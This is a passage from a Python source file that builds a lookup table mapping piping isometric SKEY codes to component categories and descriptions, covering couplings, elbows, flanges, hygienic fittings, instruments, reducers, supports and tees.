self.skeys_desc[\"CLMP\"] = [\"Clamped Joints\" , \"Flared Clamp\"]\n self.skeys_desc[\"CLGY\"] = [\"Clamped Joints\" , \"Grayloc-type coupling\"]\n self.skeys_desc[\"CLVT\"] = [\"Clamped Joints\" , \"Victaulic (Grooved pipe end type)\"]\n self.skeys_desc[\"CLVR\"] = [\"Clamped Joints\" , \"Victaulic (Welded /Forded ring type)\"]\n self.skeys_desc[\"LNSC\"] = [\"Connectors\" , \"Grayloc (Female) screwed connector\"]\n self.skeys_desc[\"LNSW\"] = [\"Connectors\" , \"Grayloc sockect weld connector\"]\n self.skeys_desc[\"LVBW\"] = [\"Connectors\" , \"Victaulic welded ring type\"]\n self.skeys_desc[\"CEBW\"] = [\"Couplings\" , \"Butt Weld Elbolet\"]\n self.skeys_desc[\"CPCF\"] = [\"Couplings\" , \"Centre Flange\"]\n self.skeys_desc[\"COCP\"] = [\"Couplings\" , \"Compression Fitting Coupling\"]\n self.skeys_desc[\"COCL\"] = [\"Couplings\" , \"Coupling with clamped end connections\"]\n self.skeys_desc[\"CSCP\"] = [\"Couplings\" , \"Coupling with compression sleeve connections\"]\n self.skeys_desc[\"COFA\"] = [\"Couplings\" , \"Coupling with flared end connections\"]\n self.skeys_desc[\"COGL\"] = [\"Couplings\" , \"Coupling with glued connections\"]\n self.skeys_desc[\"COGY\"] = [\"Couplings\" , \"Coupling with Grayloc connections\"]\n self.skeys_desc[\"COPF\"] = [\"Couplings\" , \"Coupling with push fit end connections\"]\n self.skeys_desc[\"COVT\"] = [\"Couplings\" , \"Coupling with Victaulic connections (Grooved pipe)\"]\n self.skeys_desc[\"COVR\"] = [\"Couplings\" , \"Coupling with Victaulic connections (Welded connections)\"]\n self.skeys_desc[\"COSC\"] = [\"Couplings\" , \"Screwed Fitting Coupling\"]\n self.skeys_desc[\"CESC\"] = [\"Couplings\" , \"Screwed Fitting Elbolet\"]\n self.skeys_desc[\"NRSC\"] = [\"Couplings\" , \"Screwed Fitting Nipple\"]\n self.skeys_desc[\"NBSC\"] = [\"Couplings\" , \"Screwed Nipple\"]\n self.skeys_desc[\"COSW\"] = [\"Couplings\" , \"Socket Weld Coupling\"]\n self.skeys_desc[\"CESW\"] = [\"Couplings\" , \"Socket Weld Elbolet\"]\n self.skeys_desc[\"CPWP\"] = [\"Couplings\" , \"Watertight Bulkhead and Deck\"]\n self.skeys_desc[\"CPWT\"] = [\"Couplings\" , \"Welded Sleeve thru Pipe\"]\n self.skeys_desc[\"CRBW\"] = [\"Crosses\" , \"Butt Weld Cross\"]\n self.skeys_desc[\"CRCP\"] = [\"Crosses\" , \"Compression Fitting Cross\"]\n self.skeys_desc[\"CR**\"] = [\"Crosses\" , \"Cross\"]\n self.skeys_desc[\"CRCL\"] = [\"Crosses\" , \"Cross with clamped end connections\"]\n self.skeys_desc[\"CRBS\"] = [\"Crosses\" , \"Cross with flanged ball/socket end connections\"]\n self.skeys_desc[\"CRGF\"] = [\"Crosses\" , \"Cross with flanged gland-type end connections\"]\n self.skeys_desc[\"CRFA\"] = [\"Crosses\" , \"Cross with flared end connections\"]\n self.skeys_desc[\"CRGL\"] = [\"Crosses\" , \"Cross with glued end connections\"]\n self.skeys_desc[\"CRPF\"] = [\"Crosses\" , \"Cross with push fit end connections\"]\n self.skeys_desc[\"CRFL\"] = [\"Crosses\" , \"Flanged Cross\"]\n self.skeys_desc[\"X@\"] = [\"Crosses\" , \"Generic Y-type Cross with user-definable out- and off- legs\"]\n self.skeys_desc[\"CRSC\"] = [\"Crosses\" , \"Screwed Fitting Cross\"]\n self.skeys_desc[\"CRSO\"] = [\"Crosses\" , \"Set-on cross\"]\n self.skeys_desc[\"CYSO\"] = [\"Crosses\" , \"Set-on cross (Y-type)\"]\n self.skeys_desc[\"CRRF\"] = [\"Crosses\" , \"Set-on reinforced cross\"]\n self.skeys_desc[\"CRSW\"] = [\"Crosses\" , \"Socket Weld Cross No\"]\n self.skeys_desc[\"CSSO\"] = [\"Crosses\" , \"Stub in cross\"]\n self.skeys_desc[\"CSRF\"] = [\"Crosses\" , \"Stub in reinforced cross\"]\n self.skeys_desc[\"CY**\"] = [\"Crosses\" , \"Y-type cross\"]\n self.skeys_desc[\"ELBW\"] = [\"Elbows\" , \"Butt Weld Elbow\"]\n self.skeys_desc[\"ETBW\"] = [\"Elbows\" , \"Butt Weld Elbow with Tee\"]\n self.skeys_desc[\"EUBW\"] = [\"Elbows\" , \"Butt Weld Return Elbow\"]\n self.skeys_desc[\"ELCP\"] = [\"Elbows\" , \"Compression elbow (90° and 45°)\"]\n self.skeys_desc[\"ETCP\"] = [\"Elbows\" , \"Compression Fitting Elbow with Tee\"]\n self.skeys_desc[\"ELCL\"] = [\"Elbows\" , \"Elbow with clamped end connections\"]\n self.skeys_desc[\"ELBS\"] = [\"Elbows\" , \"Elbow with flanged ball/socket end connections\"]\n self.skeys_desc[\"ELGF\"] = [\"Elbows\" , \"Elbow with flanged gland-type end connections\"]\n self.skeys_desc[\"ELFA\"] = [\"Elbows\" , \"Elbow with flared end connections\"]\n self.skeys_desc[\"ELGL\"] = [\"Elbows\" , \"Elbow with glued end connections\"]\n self.skeys_desc[\"ELPF\"] = [\"Elbows\" , \"Elbow with push fit end connections\"]\n self.skeys_desc[\"EUPL\"] = [\"Elbows\" , \"Plain end return elbow (180°)\"]\n self.skeys_desc[\"ER\"] = [\"Elbows\" , \"Reducing Elbow\"]\n self.skeys_desc[\"ERCL\"] = [\"Elbows\" , \"Reducing elbow with clamped end connections\"]\n self.skeys_desc[\"ERFA\"] = [\"Elbows\" , \"Reducing elbow with flared end connections\"]\n self.skeys_desc[\"ELSC\"] = [\"Elbows\" , \"Screwed elbow with Female ends (90° and 45°)\"]\n self.skeys_desc[\"EBSC\"] = [\"Elbows\" , \"Screwed elbow with Male ends (90° and 45°)\"]\n self.skeys_desc[\"ETSC\"] = [\"Elbows\" , \"Screwed Fitting Elbow with Tee\"]\n self.skeys_desc[\"ELSW\"] = [\"Elbows\" , \"Socket Weld Elbow\"]\n self.skeys_desc[\"ETSW\"] = [\"Elbows\" , \"Socket Weld Elbow with Tee\"]\n self.skeys_desc[\"ETCL\"] = [\"Elbows\" , \"Teed elbow with clamped end connections\"]\n self.skeys_desc[\"ETFA\"] = [\"Elbows\" , \"Teed elbow with flared end connections\"]\n self.skeys_desc[\"ETGL\"] = [\"Elbows\" , \"Teed elbow with glued end connections\"]\n self.skeys_desc[\"ETPF\"] = [\"Elbows\" , \"Teed elbow with push fit end connections\"]\n self.skeys_desc[\"FY\"] = [\"Filters\" , \"‘Y’-type Filter/Strainer\"]\n self.skeys_desc[\"FA**\"] = [\"Filters\" , \"Angled Filter\"]\n self.skeys_desc[\"FO**\"] = [\"Filters\" , \"Offset Filter\"]\n self.skeys_desc[\"FR**\"] = [\"Filters\" , \"Return Filter\"]\n self.skeys_desc[\"FI**\"] = [\"Filters\" , \"Straight-Through (In-Line) Filter\"]\n self.skeys_desc[\"TUBE\"] = [\"Fixed Length Pipes\" , \"Fixed Length Pipe - to be displayed and stretched, like implied tube on an isometric\"]\n self.skeys_desc[\"FPCL\"] = [\"Fixed Length Pipes\" , \"Fixed length pipe with clamped end conditions\"]\n self.skeys_desc[\"FPCP\"] = [\"Fixed Length Pipes\" , \"Fixed length pipe with compression end connections\"]\n self.skeys_desc[\"FPFL\"] = [\"Fixed Length Pipes\" , \"Fixed length pipe with flanged ball and socket\"]\n self.skeys_desc[\"FPFA\"] = [\"Fixed Length Pipes\" , \"Fixed length pipe with flared end connections\"]\n self.skeys_desc[\"FPGL\"] = [\"Fixed Length Pipes\" , \"Fixed length pipe with glued end connections\"]\n self.skeys_desc[\"FPPL\"] = [\"Fixed Length Pipes\" , \"Fixed Length Pipe with Plain Ends\"]\n self.skeys_desc[\"FPPF\"] = [\"Fixed Length Pipes\" , \"Fixed length pipe with push fit end connections\"]\n self.skeys_desc[\"FPSC\"] = [\"Fixed Length Pipes\" , \"Fixed length pipe with screwed end connections\"]\n self.skeys_desc[\"FPSW\"] = [\"Fixed Length Pipes\" , \"Fixed length pipe with socket end connections\"]\n self.skeys_desc[\"FLBL\"] = [\"Flanges\" , \"Blind or Blanking Flange\"]\n self.skeys_desc[\"FLGM\"] = [\"Flanges\" , \"Cast/ lined flange with Male gland type\"]\n self.skeys_desc[\"FLFF\"] = [\"Flanges\" , \"Cast/lined fixed flange (Female) – Cast/lined flange\"]\n self.skeys_desc[\"FLGF\"] = [\"Flanges\" , \"Cast/lined flange with Female gland type\"]\n self.skeys_desc[\"FLFR\"] = [\"Flanges\" , \"Cast/lined rotating flange\"]\n self.skeys_desc[\"FC\"] = [\"Flanges\" , \"Concentric reducing flange\"]\n self.skeys_desc[\"FE\"] = [\"Flanges\" , \"Eccentric reducing flange\"]\n self.skeys_desc[\"FLFL\"] = [\"Flanges\" , \"Flared/Loose backing flange\"]\n self.skeys_desc[\"FLGL\"] = [\"Flanges\" , \"Glued (Female) connection\"]\n self.skeys_desc[\"JFSO\"] = [\"Flanges\" , \"Jacket slip-on flange\"]\n self.skeys_desc[\"JFWN\"] = [\"Flanges\" , \"Jacket weld neck flange\"]\n self.skeys_desc[\"FLRG\"] = [\"Flanges\" , \"Lap Joint Ring (Loose Backing Flange)\"]\n self.skeys_desc[\"FBSE\"] = [\"Flanges\" , \"Lap joint ring/Stub end combined flange\"]\n self.skeys_desc[\"FLSE\"] = [\"Flanges\" , \"Lap Joint Stub End (Loose Backing Flange)\"]\n self.skeys_desc[\"FLLB\"] = [\"Flanges\" , \"Loose Backing\"]\n self.skeys_desc[\"FOSO\"] = [\"Flanges\" , \"Orifice slip-on flange with tapping connection\"]\n self.skeys_desc[\"FOWN\"] = [\"Flanges\" , \"Orifice weld neck flange with tapping connections\"]\n self.skeys_desc[\"FLPF\"] = [\"Flanges\" , \"Push fit (Female) connection\"]\n self.skeys_desc[\"FLRC\"] = [\"Flanges\" , \"Reducing Concentric\"]\n self.skeys_desc[\"FLRE\"] = [\"Flanges\" , \"Reducing Eccentric\"]\n self.skeys_desc[\"FLSC\"] = [\"Flanges\" , \"Screwed Fitting\"]\n self.skeys_desc[\"FLSF\"] = [\"Flanges\" , \"Seal-welded flange (Sarlun/Sargol) (Female) connection\"]\n self.skeys_desc[\"FLSM\"] = [\"Flanges\" , \"Seal-welded flange (Sarlun/Sargol) (Male) connection\"]\n self.skeys_desc[\"FLSO\"] = [\"Flanges\" , \"Slip-on Flange\"]\n self.skeys_desc[\"FLSJ\"] = [\"Flanges\" , \"Slip-on flange with J-type weld\"]\n self.skeys_desc[\"FLSW\"] = [\"Flanges\" , \"Socket Weld Flange\"]\n self.skeys_desc[\"FLMP\"] = [\"Flanges\" , \"Stub End (LJSE) – use with glued / push fit systems\"]\n self.skeys_desc[\"FLWN\"] = [\"Flanges\" , \"Weld Neck Flange\"]\n self.skeys_desc[\"BNUT\"] = [\"Hygienic Fittings\" , \"Backing nut\"]\n self.skeys_desc[\"LN\"] = [\"Hygienic Fittings\" , \"Backing nut liner\"]\n self.skeys_desc[\"LNBW\"] = [\"Hygienic Fittings\" , \"Backing nut liner butt welded\"]\n self.skeys_desc[\"LRBW\"] = [\"Hygienic Fittings\" , \"Backing nut reducing liner butt weld\"]\n self.skeys_desc[\"LREX\"] = [\"Hygienic Fittings\" , \"Backing nut reducing liner expanded\"]\n self.skeys_desc[\"BP\"] = [\"Hygienic Fittings\" , \"Blank plain\"]\n self.skeys_desc[\"BTP\"] = [\"Hygienic Fittings\" , \"Blank thermocouple connector\"]\n self.skeys_desc[\"ZB\"] = [\"Hygienic Fittings\" , \"Butterfly valve\"]\n self.skeys_desc[\"LCBW\"] = [\"Hygienic Fittings\" , \"Clamp liner butt weld\"]\n self.skeys_desc[\"LCEX\"] = [\"Hygienic Fittings\" , \"Clamp liner expanded\"]\n self.skeys_desc[\"DVP\"] = [\"Hygienic Fittings\" , \"Drain/Vent plug\"]\n self.skeys_desc[\"4D\"] = [\"Hygienic Fittings\" , \"Four-port single level valve (D)\"]\n self.skeys_desc[\"4Z\"] = [\"Hygienic Fittings\" , \"Four-port single level valve (Z)\"]\n self.skeys_desc[\"IG\"] = [\"Hygienic Fittings\" , \"Graduated control valve (D)\"]\n self.skeys_desc[\"ZG\"] = [\"Hygienic Fittings\" , \"Graduated control valve (Z)\"]\n self.skeys_desc[\"BM\"] = [\"Hygienic Fittings\" , \"Male blanking plug\"]\n self.skeys_desc[\"MPBW\"] = [\"Hygienic Fittings\" , \"Male part connector butt weld\"]\n self.skeys_desc[\"MPEX\"] = [\"Hygienic Fittings\" , \"Male part connector expanded\"]\n self.skeys_desc[\"ADMF\"] = [\"Hygienic Fittings\" , \"Male to Female Adapter\"]\n self.skeys_desc[\"ADMM\"] = [\"Hygienic Fittings\" , \"Male-to-male adapter\"]\n self.skeys_desc[\"MD\"] = [\"Hygienic Fittings\" , \"Multi-port dual level valve with D spindle\"]\n self.skeys_desc[\"MZ\"] = [\"Hygienic Fittings\" , \"Multi-port dual level valve with Z spindle\"]\n self.skeys_desc[\"NV\"] = [\"Hygienic Fittings\" , \"Non-return valve\"]\n self.skeys_desc[\"ZV\"] = [\"Hygienic Fittings\" , \"Pressure relief valve (Instrument type) (I)\"]\n self.skeys_desc[\"VZ\"] = [\"Hygienic Fittings\" , \"Pressure relief valve (Z)\"]\n self.skeys_desc[\"BBC\"] = [\"Hygienic Fittings\" , \"Reducing concentric blank boss\"]\n self.skeys_desc[\"BBE\"] = [\"Hygienic Fittings\" , \"Reducing eccentric blank boss\"]\n self.skeys_desc[\"DUMY\"] = [\"Hygienic Fittings\" , \"Separator for multi-level valve\"]\n self.skeys_desc[\"3D\"] = [\"Hygienic Fittings\" , \"Three-port single level valve (D)\"]\n self.skeys_desc[\"3Z\"] = [\"Hygienic Fittings\" , \"Three-port single level valve (Z)\"]\n self.skeys_desc[\"K3\"] = [\"Hygienic Fittings\" , \"Three-way check valve\"]\n self.skeys_desc[\"2D\"] = [\"Hygienic Fittings\" , \"Two-port single level (angle type) valve (D)\"]\n self.skeys_desc[\"2Z\"] = [\"Hygienic Fittings\" , \"Two-port single level (angle type) valve (Z)\"]\n self.skeys_desc[\"KV\"] = [\"Hygienic Fittings\" , \"Wide-angle cock\"]\n self.skeys_desc[\"C3\"] = [\"Instruments\" , \"3-Way Control Valve\"]\n self.skeys_desc[\"C3**\"] = [\"Instruments\" , \"3-Way Control Valve\"]\n self.skeys_desc[\"S3**\"] = [\"Instruments\" , \"3-Way Control Valve with Square Indicator\"]\n self.skeys_desc[\"C4\"] = [\"Instruments\" , \"4-Way Control Valve\"]\n self.skeys_desc[\"C4**\"] = [\"Instruments\" , \"4-Way Control Valve\"]\n self.skeys_desc[\"S4**\"] = [\"Instruments\" , \"4-Way Control Valve with Square Indicator\"]\n self.skeys_desc[\"CA\"] = [\"Instruments\" , \"Angled Control Valve\"]\n self.skeys_desc[\"SA**\"] = [\"Instruments\" , \"Angled Control Valve with Square Indicator\"]\n self.skeys_desc[\"IA**\"] = [\"Instruments\" , \"Angled Instrument\"]\n self.skeys_desc[\"XA**\"] = [\"Instruments\" , \"Angled Pressure Reducing Valve\"]\n self.skeys_desc[\"RA**\"] = [\"Instruments\" , \"Angled Relief Valve\"]\n self.skeys_desc[\"CV\"] = [\"Instruments\" , \"Control Valve\"]\n self.skeys_desc[\"SV**\"] = [\"Instruments\" , \"Control Valve with Square Indicator\"]\n self.skeys_desc[\"IDFL\"] = [\"Instruments\" , \"Flanged Instrument with Dial\"]\n self.skeys_desc[\"HA**\"] = [\"Instruments\" , \"Hand-operated angled control valve\"]\n self.skeys_desc[\"HV**\"] = [\"Instruments\" , \"Hand-operated control valve\"]\n self.skeys_desc[\"H4**\"] = [\"Instruments\" , \"Hand-operated four-way control valve\"]\n self.skeys_desc[\"H3**\"] = [\"Instruments\" , \"Hand-operated three-way control valve\"]\n self.skeys_desc[\"II**\"] = [\"Instruments\" , \"Instrument\"]\n self.skeys_desc[\"IDPL\"] = [\"Instruments\" , \"Instrument dial\"]\n self.skeys_desc[\"M3**\"] = [\"Instruments\" , \"Motor-operated 3-way control valve\"]\n self.skeys_desc[\"M4**\"] = [\"Instruments\" , \"Motor-operated 4-way control valve\"]\n self.skeys_desc[\"MA**\"] = [\"Instruments\" , \"Motor-operated angled control valve\"]\n self.skeys_desc[\"MV**\"] = [\"Instruments\" , \"Motor-operated control valve\"]\n self.skeys_desc[\"IO**\"] = [\"Instruments\" , \"Offset Instrument\"]\n self.skeys_desc[\"OP\"] = [\"Instruments\" , \"Orifice plate\"]\n self.skeys_desc[\"XV**\"] = [\"Instruments\" , \"Pressure Reducing Instrument valve\"]\n self.skeys_desc[\"RV\"] = [\"Instruments\" , \"Relief Valve\"]\n self.skeys_desc[\"RV**\"] = [\"Instruments\" , \"Relief/Vent instrument valve\"]\n self.skeys_desc[\"PR\"] = [\"Instruments\" , \"Restrictor plate\"]\n self.skeys_desc[\"IR**\"] = [\"Instruments\" , \"Return Instrument\"]\n self.skeys_desc[\"DR\"] = [\"Instruments\" , \"Rupture Disc\"]\n self.skeys_desc[\"AR01\"] = [\"Miscellaneous Items\" , \"Arrow head (dimension line)\"]\n self.skeys_desc[\"AR02\"] = [\"Miscellaneous Items\" , \"Arrow head (message line)\"]\n self.skeys_desc[\"FLOR\"] = [\"Miscellaneous Items\" , \"Floor Penetration\"]\n self.skeys_desc[\"FLOW\"] = [\"Miscellaneous Items\" , \"Flow arrow\"]\n self.skeys_desc[\"INPP\"] = [\"Miscellaneous Items\" , \"Insulation symbol\"]\n self.skeys_desc[\"AR04\"] = [\"Miscellaneous Items\" , \"Line break\"]\n self.skeys_desc[\"LOPT\"] = [\"Miscellaneous Items\" , \"Location point\"]\n self.skeys_desc[\"WALL\"] = [\"Miscellaneous Items\" , \"Wall symbol\"]\n self.skeys_desc[\"BA**\"] = [\"Miscellaneous Pipe Components\" , \"Block angle\"]\n self.skeys_desc[\"BO\"] = [\"Miscellaneous Pipe Components\" , \"Block offset\"]\n self.skeys_desc[\"BR\"] = [\"Miscellaneous Pipe Components\" , \"Block return\"]\n self.skeys_desc[\"EX\"] = [\"Miscellaneous Pipe Components\" , \"Expansion Bellows\"]\n self.skeys_desc[\"FT\"] = [\"Miscellaneous Pipe Components\" , \"Flame Trap\"]\n self.skeys_desc[\"FX\"] = [\"Miscellaneous Pipe Components\" , \"Flexible Hose\"]\n self.skeys_desc[\"CH\"] = [\"Miscellaneous Pipe Components\" , \"Hose Coupling\"]\n self.skeys_desc[\"XF\"] = [\"Miscellaneous Pipe Components\" , \"Multi-part component (fitting)\"]\n self.skeys_desc[\"NC\"] = [\"Miscellaneous Pipe Components\" , \"Non-Category Item\"]\n self.skeys_desc[\"PL\"] = [\"Miscellaneous Pipe Components\" , \"Plug\"]\n self.skeys_desc[\"RPAD\"] = [\"Miscellaneous Pipe Components\" , \"Reinforcing pad\"]\n self.skeys_desc[\"RP\"] = [\"Miscellaneous Pipe Components\" , \"Restrictor plate\"]\n self.skeys_desc[\"SG\"] = [\"Miscellaneous Pipe Components\" , \"Sight Glass\"]\n self.skeys_desc[\"SP\"] = [\"Miscellaneous Pipe Components\" , \"Slip plate\"]\n self.skeys_desc[\"SR\"] = [\"Miscellaneous Pipe Components\" , \"Slip ring\"]\n self.skeys_desc[\"SB\"] = [\"Miscellaneous Pipe Components\" , \"Spectacle Blind\"]\n self.skeys_desc[\"OB\"] = [\"Miscellaneous Pipe Components\" , \"Spectacle blind (open)\"]\n self.skeys_desc[\"TU\"] = [\"Miscellaneous Pipe Components\" , \"Tundish (funnel)\"]\n self.skeys_desc[\"UNIV\"] = [\"Miscellaneous Pipe Components\" , \"Universal Skey for special fittings\"]\n self.skeys_desc[\"NZFE\"] = [\"Nozzle\" , \"End Flanged\"]\n self.skeys_desc[\"NZWE\"] = [\"Nozzle\" , \"End Welded\"]\n self.skeys_desc[\"NZFS\"] = [\"Nozzle\" , \"Start Flanged\"]\n self.skeys_desc[\"NZWS\"] = [\"Nozzle\" , \"Start Welded\"]\n self.skeys_desc[\"LA\"] = [\"Olets\" , \"Butt Weld Latrolet\"]\n self.skeys_desc[\"SW\"] = [\"Olets\" , \"Butt Weld Sweepolet\"]\n self.skeys_desc[\"ITFL\"] = [\"Olets\" , \"Flanged Instrument Tee\"]\n self.skeys_desc[\"LABW\"] = [\"Olets\" , \"Latrolet (Butt weld)\"]\n self.skeys_desc[\"LASC\"] = [\"Olets\" , \"Latrolet (Screwed)\"]\n self.skeys_desc[\"LASW\"] = [\"Olets\" , \"Latrolet (Socket weld)\"]\n self.skeys_desc[\"NISC\"] = [\"Olets\" , \"Nipolet (Screwed)\"]\n self.skeys_desc[\"HCSC\"] = [\"Olets\" , \"Olet (Half coupling screwed)\"]\n self.skeys_desc[\"HCSW\"] = [\"Olets\" , \"Olet (Half coupling socket weld)\"]\n self.skeys_desc[\"NI**\"] = [\"Olets\" , \"Plain End Nipolet\"]\n self.skeys_desc[\"TH\"] = [\"Olets\" , \"Screwed Fitting Thredolet\"]\n self.skeys_desc[\"HC\"] = [\"Olets\" , \"Screwed Half Coupling\"]\n self.skeys_desc[\"SK\"] = [\"Olets\" , \"Socket Weld Sockolet\"]\n self.skeys_desc[\"SKSW\"] = [\"Olets\" , \"Sockolet (Socket weld)\"]\n self.skeys_desc[\"SWBW\"] = [\"Olets\" , \"Sweepolet (Butt weld)\"]\n self.skeys_desc[\"THSC\"] = [\"Olets\" , \"Thredolet (Screwed)\"]\n self.skeys_desc[\"WT\"] = [\"Olets\" , \"Weldolet\"]\n self.skeys_desc[\"WTBW\"] = [\"Olets\" , \"Weldolet (Butt weld)\"]\n self.skeys_desc[\"LPIN\"] = [\"Penetration Plate Items\" , \"Locating Pin\"]\n self.skeys_desc[\"PLT2\"] = [\"Penetration Plate Items\" , \"Penetration Plate Centre Sections\"]\n self.skeys_desc[\"PLT1\"] = [\"Penetration Plate Items\" , \"Penetration Plate End Sections\"]\n self.skeys_desc[\"PF\"] = [\"Pipe Blocks\" , \"Fixed Length\"]\n self.skeys_desc[\"PV\"] = [\"Pipe Blocks\" , \"Variable Length\"]\n self.skeys_desc[\"CPBW\"] = [\"Reducers\" , \"Butt Weld Concentric Reducer\"]\n self.skeys_desc[\"CTBW\"] = [\"Reducers\" , \"Butt Weld Concentric Reducer with Tee\"]\n self.skeys_desc[\"EPBW\"] = [\"Reducers\" , \"Butt Weld Eccentric Reducer\"]\n self.skeys_desc[\"EXBW\"] = [\"Reducers\" , \"Butt Weld Eccentric Reducer with Tee\"]\n self.skeys_desc[\"RCCP\"] = [\"Reducers\" , \"Compression Fitting Concentric Reducer\"]\n self.skeys_desc[\"RC**\"] = [\"Reducers\" , \"Concentric reducer\"]\n self.skeys_desc[\"CSBW\"] = [\"Reducers\" , \"Concentric reducer (Butt weld swaged from pipe)\"]\n self.skeys_desc[\"CZBW\"] = [\"Reducers\" , \"Concentric reducer (Fabricated from a plate with a connection)\"]\n self.skeys_desc[\"CZFL\"] = [\"Reducers\" , \"Concentric reducer (Fabricated from plate - flanged with a connection)\"]\n self.skeys_desc[\"CPFL\"] = [\"Reducers\" , \"Concentric reducer (Fabricated from plate - flanged)\"]\n self.skeys_desc[\"CTFL\"] = [\"Reducers\" , \"Concentric reducer (Flanged with a connection)\"]\n self.skeys_desc[\"RBSC\"] = [\"Reducers\" , \"Concentric reducer (Screwed bush)\"]\n self.skeys_desc[\"RNSC\"] = [\"Reducers\" , \"Concentric reducer (Screwed nipple)\"]\n self.skeys_desc[\"CTSC\"] = [\"Reducers\" , \"Concentric reducer (Screwed with a connection)\"]\n self.skeys_desc[\"RBSW\"] = [\"Reducers\" , \"Concentric reducer (Socket weld bush)\"]\n self.skeys_desc[\"CTSW\"] = [\"Reducers\" , \"Concentric reducer (Socket weld with a connection)\"]\n self.skeys_desc[\"CXFL\"] = [\"Reducers\" , \"Concentric reducer (Swaged from pipe - flanged with a connection)\"]\n self.skeys_desc[\"CXBW\"] = [\"Reducers\" , \"Concentric reducer (Swaged from pipe with a connection)\"]\n self.skeys_desc[\"CSFL\"] = [\"Reducers\" , \"Concentric reducer (Swaged from plate - flange)\"]\n self.skeys_desc[\"RCCL\"] = [\"Reducers\" , \"Concentric reducer with clamped end connections\"]\n self.skeys_desc[\"RCFA\"] = [\"Reducers\" , \"Concentric reducer with flared end connections\"]\n self.skeys_desc[\"RCGL\"] = [\"Reducers\" , \"Concentric reducer with glued end conditions\"]\n self.skeys_desc[\"RCPF\"] = [\"Reducers\" , \"Concentric reducer with push fit end connections\"]\n self.skeys_desc[\"CTCL\"] = [\"Reducers\" , \"Concentric teed reducer with clamped end connections\"]\n self.skeys_desc[\"CTFA\"] = [\"Reducers\" , \"Concentric teed reducer with flared end connections\"]\n self.skeys_desc[\"CTGL\"] = [\"Reducers\" , \"Concentric teed reducer with glued end connections\"]\n self.skeys_desc[\"CTPF\"] = [\"Reducers\" , \"Concentric teed reducer with push fit end connections\"]\n self.skeys_desc[\"RE**\"] = [\"Reducers\" , \"Eccentric reducer\"]\n self.skeys_desc[\"EZFL\"] = [\"Reducers\" , \"Eccentric reducer - flanged (Fabricated from plate with a connection)\"]\n self.skeys_desc[\"EXFL\"] = [\"Reducers\" , \"Eccentric reducer - flanged (Swaged from pipe with a connection)\"]\n self.skeys_desc[\"ESFL\"] = [\"Reducers\" , \"Eccentric reducer - flanged (Swaged from pipe)\"]\n self.skeys_desc[\"EZBW\"] = [\"Reducers\" , \"Eccentric reducer (Butt weld fabricated from plate with a connection)\"]\n self.skeys_desc[\"OTBW\"] = [\"Reducers\" , \"Eccentric reducer (Butt weld with a connection)\"]\n self.skeys_desc[\"OTFL\"] = [\"Reducers\" , \"Eccentric reducer (Flanged with a connection)\"]\n self.skeys_desc[\"OTSC\"] = [\"Reducers\" , \"Eccentric reducer (Screwed with a connection)\"]\n self.skeys_desc[\"ESBW\"] = [\"Reducers\" , \"Eccentric reducer (Swaged from pipe)\"]\n self.skeys_desc[\"RECL\"] = [\"Reducers\" , \"Eccentric reducer with clamped end connections\"]\n self.skeys_desc[\"REFA\"] = [\"Reducers\" , \"Eccentric reducer with flared end connections\"]\n self.skeys_desc[\"REGL\"] = [\"Reducers\" , \"Eccentric reducer with glued end conditions\"]\n self.skeys_desc[\"REPF\"] = [\"Reducers\" , \"Eccentric reducer with push fit end connections\"]\n self.skeys_desc[\"OTCL\"] = [\"Reducers\" , \"Eccentric teed reducer with clamped end connections\"]\n self.skeys_desc[\"OTFA\"] = [\"Reducers\" , \"Eccentric teed reducer with flared end connections\"]\n self.skeys_desc[\"OTGL\"] = [\"Reducers\" , \"Eccentric teed reducer with glued end connections\"]\n self.skeys_desc[\"OTPF\"] = [\"Reducers\" , \"Eccentric teed reducer with push fit end connections\"]\n self.skeys_desc[\"REFL\"] = [\"Reducers\" , \"Flanged Eccentric Reducer\"]\n self.skeys_desc[\"EPFL\"] = [\"Reducers\" , \"Flanged Eccentric Reducer (Fabricated from plate)\"]\n self.skeys_desc[\"RFPL\"] = [\"Reducers\" , \"Reducing block\"]\n self.skeys_desc[\"RCSC\"] = [\"Reducers\" , \"Screwed Fitting Concentric Reducer\"]\n self.skeys_desc[\"RESC\"] = [\"Reducers\" , \"Screwed Fitting Eccentric Reducer\"]\n self.skeys_desc[\"RCSW\"] = [\"Reducers\" , \"Socket Weld Concentric Reducer\"]\n self.skeys_desc[\"RF\"] = [\"Reducers\" , \"Special Reducing Flange\"]\n self.skeys_desc[\"01SP\"] = [\"Spindles\" , \"All\"]\n self.skeys_desc[\"02SP\"] = [\"Spindles\" , \"All\"]\n self.skeys_desc[\"03SP\"] = [\"Spindles\" , \"All\"]\n self.skeys_desc[\"04SP\"] = [\"Spindles\" , \"All\"]\n self.skeys_desc[\"05SP\"] = [\"Spindles\" , \"All\"]\n self.skeys_desc[\"06SP\"] = [\"Spindles\" , \"All\"]\n self.skeys_desc[\"07SP\"] = [\"Spindles\" , \"All\"]\n self.skeys_desc[\"08SP\"] = [\"Spindles\" , \"All\"]\n self.skeys_desc[\"09SP\"] = [\"Spindles\" , \"All\"]\n self.skeys_desc[\"10SP\"] = [\"Spindles\" , \"All\"]\n self.skeys_desc[\"11SP\"] = [\"Spindles\" , \"All\"]\n self.skeys_desc[\"12SP\"] = [\"Spindles\" , \"All\"]\n self.skeys_desc[\"13SP\"] = [\"Spindles\" , \"All\"]\n self.skeys_desc[\"14SP\"] = [\"Spindles\" , \"All\"]\n self.skeys_desc[\"15SP\"] = [\"Spindles\" , \"All\"]\n self.skeys_desc[\"ANCH\"] = [\"Supports\" , \"Anchor\"]\n self.skeys_desc[\"DUCK\"] = [\"Supports\" , \"Duck Foot\"]\n self.skeys_desc[\"GUID\"] = [\"Supports\" , \"Guide / Steady\"]\n self.skeys_desc[\"01HG\"] = [\"Supports\" , \"Hanger\"]\n self.skeys_desc[\"SLVE\"] = [\"Supports\" , \"Penetration Sleeve\"]\n self.skeys_desc[\"SKID\"] = [\"Supports\" , \"Skid\"]\n self.skeys_desc[\"SPRG\"] = [\"Supports\" , \"Spring\"]\n self.skeys_desc[\"TSBW\"] = [\"Tees\" , \"Butt Weld Swept Tee\"]\n self.skeys_desc[\"TEBW\"] = [\"Tees\" , \"Butt Weld Tee\"]\n self.skeys_desc[\"TSCP\"] = [\"Tees\" , \"Compression Fitting Swept Tee\"]\n self.skeys_desc[\"TECP\"] = [\"Tees\" , \"Compression Fitting Tee\"]\n self.skeys_desc[\"TSFL\"] = [\"Tees\" , \"Flanged Swept Tee\"]\n self.skeys_desc[\"TEFL\"] = [\"Tees\" , \"Flanged Tee\"]\n self.skeys_desc[\"Y@\"] = [\"Tees\" , \"Generic Y-type Tee with user-definable out- and off- 